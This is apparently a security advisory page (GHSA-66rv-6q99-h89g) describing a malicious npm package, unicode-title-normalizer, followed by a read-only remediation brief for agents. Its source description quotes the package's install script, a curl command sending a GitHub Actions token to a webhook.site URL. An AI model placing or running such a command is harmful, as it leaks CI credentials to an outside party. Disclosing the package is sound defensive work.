Skip to content
Patch Next
Sign inAdd to your agent

← Actionable
Unrated

Malicious code in unicode-title-normalizer (npm)

GHSA-66rv-6q99-h89g

What to do

Vendor response not established. Follow the primary source's mitigation guidance and check back for a fix.

This page has no inventory attached, so it cannot say whether you are affected. A vendor fix is not proof that your deployment is fixed.

Add to your agent

Affected packages

  • npm unicode-title-normalizer

    Affected
    every version
    Fixed in
    no fixed version recorded

Sources

Severity and exploitation
Exploitation
No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.
CVSS
not scored
EPSS
No dated EPSS signal available.
Source description

As published by the source; long descriptions are shortened.

unicode-title-normalizer@1.0.0 was published to npm on 2026-10-19 at 14:50:39 UTC by the account blunty_blunks, about one minute after npm's staged-publish placeholder 0.0.0-stage. The tarball has three files. index.js exports a function that returns the string "hello", and README.md is an unedited template for a package named @your-scope/hello-example. The package name has nothing to do with the code. package.json declares an install script, which npm runs on every install: echo "hey hey hey hoooo" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}} The script calls a webhook.site URL with a path segment meant to carry GITHUB_TOKEN, the token GitHub Actions gives to workflow runs. The path segment "workfloou" also points at CI workflows. The token is written in GitHub Actions expression syntax (${{ }}), which sh and bash reject as a bad substitution, so on POSIX shells the curl command most likely does not run. The intent is to send a CI…

Dates and revisions
Published by the source
Last modified by the source
Source last checked
  1. Revision 1 · created ·

    Published from osv record MAL-2026-18100

Agent brief

Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.

# Patch Next advisory brief: GHSA-66rv-6q99-h89g

Advisory: Malicious code in unicode-title-normalizer (npm)
IDs: GHSA-66rv-6q99-h89g
Record: https://patchnext.com/advisories/mal-2026-18100 (revision 1, source checked 30 Oct 2026, 06:05 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Unrated
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor response not established. A vendor fix does not mean a deployment is fixed.

## Affected components
- npm unicode-title-normalizer: affected every version

## Suggested inspection (read-only)
- `npm ls unicode-title-normalizer --all`: lists every installed copy and version, including transitive ones. Run in the project root after `npm ci`.

## Supported action
No complete vendor fix is recorded. Follow the primary source's mitigation guidance and check this record again before closing anything.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on unicode-title-normalizer.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/MAL-2026-18100 (OSV record MAL-2026-18100 lists affected ranges: npm unicode-title-normalizer >=0)

Commands are suggestions: review each one before running it.

Loading voting…